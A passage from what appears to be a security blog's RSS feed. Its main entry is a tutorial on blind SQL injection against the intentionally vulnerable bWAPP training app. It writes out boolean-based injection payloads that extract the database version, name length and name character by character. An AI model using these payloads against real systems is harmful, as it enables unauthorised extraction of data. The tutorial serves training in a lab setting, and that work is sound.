&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVnZ1zvqES-6c5OIvW019pJ9UpbW1VBKrftckJaIUT_7wd6AQ2rbuiFMr3Qs0-QKbGFjcJk4BTF945l8q-2GCOt1Ngmr3-tn9IzHYEwhLdILcIT5eOoxSKYhgrgjTiJYDhXQL0z3yO/s1600/alertonpage.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgVnZ1zvqES-6c5OIvW019pJ9UpbW1VBKrftckJaIUT_7wd6AQ2rbuiFMr3Qs0-QKbGFjcJk4BTF945l8q-2GCOt1Ngmr3-tn9IzHYEwhLdILcIT5eOoxSKYhgrgjTiJYDhXQL0z3yO/s1600/alertonpage.PNG&quot; height=&quot;246&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
This is a really useful burpsuite extension that adds extra validation to automated scanning and will become even better with the increase of payloads. This post follows the steps outlined by the creator of xssValidator (John Poulin) &lt;a href=&quot;http://blog.nvisium.com/2014/01/accurate-xss-detection-with-burpsuite.html&quot;&gt;here&lt;/a&gt;</description><link>http://thehackpot.blogspot.com/2014/05/eliminating-automated-xss-false.html</link><author>noreply@blogger.com (Anonymous)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjBUaUXsdjhnb-BH0KunMWI14pK9M9xUWJrid_4qvATor4sY02PQfwj6wAv-5SR3lnBqbCbbbzWk-JLglIc7WYLWBWQEIqPohpnQw-zxjpJNpyKYxy_OETTi5yUM9M63RtF0O4U7f7t/s72-c/addextension.PNG" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8805024510347536027.post-6579821061528689104</guid><pubDate>Fri, 02 May 2014 14:09:00 +0000</pubDate><atom:updated>2014-05-07T15:52:42.509+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">bWAPP</category><category domain="http://www.blogger.com/atom/ns#">SQLi</category><title>Blind SQL Injection Tutorial</title><description>Blind SQL injection is a type of SQL Injection attack that asks the database true or false questions and determines the answer based on the application response. You can find out more &lt;a href=&quot;https://www.owasp.org/index.php/Blind_SQL_Injection&quot;&gt;here&lt;/a&gt;, again we will be using the bWAPP application available &lt;a href=&quot;http://www.mmeit.be/bwapp/&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
We have another search field that tells us whether a movie exists or not. For example if we enter Iron Man it will tell us the movie exists (true) on the other hand if we enter sleepers it tells us the movie does not exist (false)&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOHi72MLp6delxXff-GFmyis-rZX5KoBFJakYSUlzae5wDlOEdRLuzvkL65FzYWQ6rbxtEmIXWwfmNBLIx9I3h5nYmLcYpTJylikerED4RMamY7-UoXQxkppPtIV5nsgWpMMnyZPAj/s1600/movieExists.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOHi72MLp6delxXff-GFmyis-rZX5KoBFJakYSUlzae5wDlOEdRLuzvkL65FzYWQ6rbxtEmIXWwfmNBLIx9I3h5nYmLcYpTJylikerED4RMamY7-UoXQxkppPtIV5nsgWpMMnyZPAj/s1600/movieExists.PNG&quot; height=&quot;98&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;The movie exists&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEit-EUgLEF4GueIY0rTWh6wF_nhItk1ivTpV00T9kh2GUEuPjidUS0r4izabD1fbcE-mdyKBIrmpvIOLUUBgrBvJ4AYwWGjdQyGoZwUBmiAVjEoSNe7WNwzK0qyZnOoU6NUcGYlTjdb/s1600/movieDoesNot.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEit-EUgLEF4GueIY0rTWh6wF_nhItk1ivTpV00T9kh2GUEuPjidUS0r4izabD1fbcE-mdyKBIrmpvIOLUUBgrBvJ4AYwWGjdQyGoZwUBmiAVjEoSNe7WNwzK0qyZnOoU6NUcGYlTjdb/s1600/movieDoesNot.PNG&quot; height=&quot;97&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;The movie does not exist&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
So lets see if we can get different responses by appending some Boolean tests.&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiN3ay32Y-8qEfISQ5v2zKAzGd5QNvGn4fuGYZ2kWODnx7sJcEoFERD0r1UQzu7yXj6Y05tOcGAtZpoBHmg1Js-e1LfI3e_DRsk4r5bzbPx8wVrxOmgtD2FA_shjNxHWlKo6uB9seHr/s1600/true.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiN3ay32Y-8qEfISQ5v2zKAzGd5QNvGn4fuGYZ2kWODnx7sJcEoFERD0r1UQzu7yXj6Y05tOcGAtZpoBHmg1Js-e1LfI3e_DRsk4r5bzbPx8wVrxOmgtD2FA_shjNxHWlKo6uB9seHr/s1600/true.PNG&quot; height=&quot;115&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;True&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhz-aQI_r0nhm9vc8SRgnVDFN_6ywgngZGLdChlq2ucJM1lyWLOmKrh_3QfZFg3M6oY5hRA4UpR1g8vNcMbCIsZIBReIp466e0VS-OD6S_BkdfAPuxs_5l5VnTcbU5cbt3rUaSj6-yK/s1600/false.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhz-aQI_r0nhm9vc8SRgnVDFN_6ywgngZGLdChlq2ucJM1lyWLOmKrh_3QfZFg3M6oY5hRA4UpR1g8vNcMbCIsZIBReIp466e0VS-OD6S_BkdfAPuxs_5l5VnTcbU5cbt3rUaSj6-yK/s1600/false.PNG&quot; height=&quot;97&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;False&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
When we entered the input 1=2 we seen a different response, we knew that Iron Man was correct but obviously 1=2 is not so returns false.Lets see if we can extract some information based on the different responses.We will use the substring function to query various character positions e.g. (1,1) first character from offset 1&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Iron Man&#39; and substring(version(),1,1)=1 # - returns false &lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrneV3WMNu4uYPlFzevdfIIvubh4uHzG5rdsmZTIjHCsXBbryMRLSAPSQ1Fl_W1qNnAlzS6WEPR_SqmLFUAvK75aHHmITtf6esYoQkV1EtyCNj662E2ZObdWSTSFn5vVKdfQiryZN5/s1600/versionreturnfalse1.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrneV3WMNu4uYPlFzevdfIIvubh4uHzG5rdsmZTIjHCsXBbryMRLSAPSQ1Fl_W1qNnAlzS6WEPR_SqmLFUAvK75aHHmITtf6esYoQkV1EtyCNj662E2ZObdWSTSFn5vVKdfQiryZN5/s1600/versionreturnfalse1.PNG&quot; height=&quot;98&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;1 Returns False&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Iron Man&#39; and substring(version(),1,1)=4 # - returns false&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxebn52eWdqGwu429iIyn8loCXxasDjWJj3_1uhIIryFnoGC3RaQNvRzsKe6l0NCnYJyd6X-BEY7z7n96X9ki5y4K6B7g2qnvePdVJA0z0g2_9Hqe7yWoWt6RP-ihJ4CZHjF15e2OD/s1600/versionreturnfalse4.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgxebn52eWdqGwu429iIyn8loCXxasDjWJj3_1uhIIryFnoGC3RaQNvRzsKe6l0NCnYJyd6X-BEY7z7n96X9ki5y4K6B7g2qnvePdVJA0z0g2_9Hqe7yWoWt6RP-ihJ4CZHjF15e2OD/s1600/versionreturnfalse4.PNG&quot; height=&quot;91&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;4 Returns False&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Iron Man&#39; and substring(version(),1,1)=5 # - returns true&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcOWmOzSa0Q4VZr80fp0r7lxlaHwwag5_gSGiEWzT15HYx0UfpHvKvocaBDLl6NxtV9xZfFfqdVDKnz83eSkxfPFGKV34EObAgP5WV0oBOe7El5v32kgud8cUhoIfO-q_HeWoxfBfn/s1600/versionreturntrue5.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjcOWmOzSa0Q4VZr80fp0r7lxlaHwwag5_gSGiEWzT15HYx0UfpHvKvocaBDLl6NxtV9xZfFfqdVDKnz83eSkxfPFGKV34EObAgP5WV0oBOe7El5v32kgud8cUhoIfO-q_HeWoxfBfn/s1600/versionreturntrue5.PNG&quot; height=&quot;103&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;5 returns True&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
So the first character in the first offset is 5. We can pretty much guess the next character wil be a &quot;.&quot; but lets confirm it.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Iron Man&#39; and substring(version(),1,1)=5 # - returns true&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtRKw2o7mYQaGfWDz61TjMu84TWCrjZJ7RHE59Z9cExkrjwbzZEjXZ078Of0inbzPkrNX_pBEHG9TkHQ1U3MC6uU5UBb0AttPvLbcEWV6wQidKs2wVcxxJNbLxdTBtKVXzP-iGkWX6/s1600/secondcharacter.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgtRKw2o7mYQaGfWDz61TjMu84TWCrjZJ7RHE59Z9cExkrjwbzZEjXZ078Of0inbzPkrNX_pBEHG9TkHQ1U3MC6uU5UBb0AttPvLbcEWV6wQidKs2wVcxxJNbLxdTBtKVXzP-iGkWX6/s1600/secondcharacter.PNG&quot; height=&quot;107&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;. returns True&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;br /&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
So we know its 5.X and so on. We can also extra things like the database length and name.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Iron Man&#39; and length(database())=5 # - returns true&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh147lwd6rSaPf5qTxmbwoVQOiLD6oUGvtEoBPQmzo3UIUacYHN3Ebu6A_X1egrsMKi0nFxdEOdbcvoYhdm1F6Xm3wj-Dbr45LvEvO_tUP7orDM_Zk7uZZIv5y8FJTMsMvsmwFZ_NRT/s1600/lengthdb.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh147lwd6rSaPf5qTxmbwoVQOiLD6oUGvtEoBPQmzo3UIUacYHN3Ebu6A_X1egrsMKi0nFxdEOdbcvoYhdm1F6Xm3wj-Dbr45LvEvO_tUP7orDM_Zk7uZZIv5y8FJTMsMvsmwFZ_NRT/s1600/lengthdb.PNG&quot; height=&quot;100&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Length 5 returns true&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
We can enumerate the database name using the following query:&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Iron Man&#39; and substring(database(),1,1)=&#39;a&#39; # false&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimiEPcWIvRPaF3SdQdYon0-cmfemxOIEz3Q0YUM6j_peSHDHXOwdVRVt4_CuUnNxqsNdDedvo1ti_uiXx1i2iGuNKs6FO-5h3fj9c_b5x4eQNz-h-xmpZ7aCnlMZxvP3VrMvgteCvD/s1600/DatabaseA.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimiEPcWIvRPaF3SdQdYon0-cmfemxOIEz3Q0YUM6j_peSHDHXOwdVRVt4_CuUnNxqsNdDedvo1ti_uiXx1i2iGuNKs6FO-5h3fj9c_b5x4eQNz-h-xmpZ7aCnlMZxvP3VrMvgteCvD/s1600/DatabaseA.PNG&quot; height=&quot;106&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;First character a returns false&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; Iron Man&#39; and substring(database(),1,1)=&#39;b&#39; # true&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQMDArov9AZdAnzYdT7P9qQyr-2d8LNtyKzDOZkRPvyexuudQLvEshVGqSu3l1hXiutV0gWtVma8bUckWr9o_UKiMh4dQykGbOGA6DXXr93WzfI77NHOw1zj5Bu-vGWkvm8xjVaWNC/s1600/b.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjQMDArov9AZdAnzYdT7P9qQyr-2d8LNtyKzDOZkRPvyexuudQLvEshVGqSu3l1hXiutV0gWtVma8bUckWr9o_UKiMh4dQykGbOGA6DXXr93WzfI77NHOw1zj5Bu-vGWkvm8xjVaWNC/s1600/b.PNG&quot; height=&quot;96&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;First character is b&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; Iron Man&#39; and substring(database(),2,1)=&#39;w&#39; # true&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUHwrZZEaVYCmZfeb7NhjHI1qRTH_LXL-PjlobGt_kSLri1q3dl-4p0BJSJMNuvvKjKnr2UGByHE7r0K_mOJOvh1yX_L7b-hVrIMV3X6sgH4r2OW1_VXPZ8B3Wc18Opu7iB8VF8-fn/s1600/w.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUHwrZZEaVYCmZfeb7NhjHI1qRTH_LXL-PjlobGt_kSLri1q3dl-4p0BJSJMNuvvKjKnr2UGByHE7r0K_mOJOvh1yX_L7b-hVrIMV3X6sgH4r2OW1_VXPZ8B3Wc18Opu7iB8VF8-fn/s1600/w.PNG&quot; height=&quot;90&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Second character is w&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Iron Man&#39; and substring(database(),3,1)=&#39;a&#39; # true&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgx4eoJ6h2UcLy36E7ae04Sy5CoSl5XqrOnaoBO7EciC8GEfvOnIEv0DKyiAxKVXi9-JLKLX9F606V5mUnneCAh98C5C2cEglszGdxSKSW7MAT1IbsIbqF5EGahe6Nl-2B1Hmy3iJqJ/s1600/a.PNG&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgx4eoJ6h2UcLy36E7ae04Sy5CoSl5XqrOnaoBO7EciC8GEfvOnIEv0DKyiAxKVXi9-JLKLX9F606V5mUnneCAh98C5C2cEglszGdxSKSW7MAT1IbsIbqF5EGahe6Nl-2B1Hmy3iJqJ/s1600/a.PNG&quot; height=&quot;90&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Third character is a&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
&lt;br /&gt;
